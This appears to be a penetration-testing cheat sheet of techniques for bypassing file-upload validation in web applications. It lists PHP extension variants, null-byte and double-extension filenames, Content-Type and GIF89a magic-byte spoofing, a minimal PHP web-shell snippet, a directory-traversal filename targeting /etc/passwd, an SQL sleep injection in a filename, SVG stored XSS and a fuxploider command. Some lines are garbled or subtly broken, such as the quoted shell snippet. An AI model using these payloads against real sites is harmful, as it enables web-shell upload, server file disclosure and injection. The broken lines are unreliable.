# File name validation
    # extension blacklisted:
    pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm
    # extension whitelisted:
    php%00.gif, shell.jpg.php
# Content type bypass
    - Preserve name, but change content-type
    Content-Type: image/jpeg, image/gif, image/png
# Content length:
    # Small bad code:
    <?='$_GET[x]'?>
    
# Filter Bypassing Techniques
# upload asp file using .cer & .asa extension (IIS — Windows)
# Upload .eml file when content-type = text/HTML
# Inject null byte shell.php%001.jpg
# Check for .svg file upload you can achieve stored XSS using XML payload
# put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
# Upload large size file for DoS attack test using the image.
# (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
# If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
# upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.

# Advance Bypassing techniques
# Imagetragick aka ImageMagick:
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
https://github.com/neex/gifoeb
    
# Upload file tool
https://github.com/almandin/fuxploider
python3 fuxploider.py --url https://example.com --not-regex "wrong file type"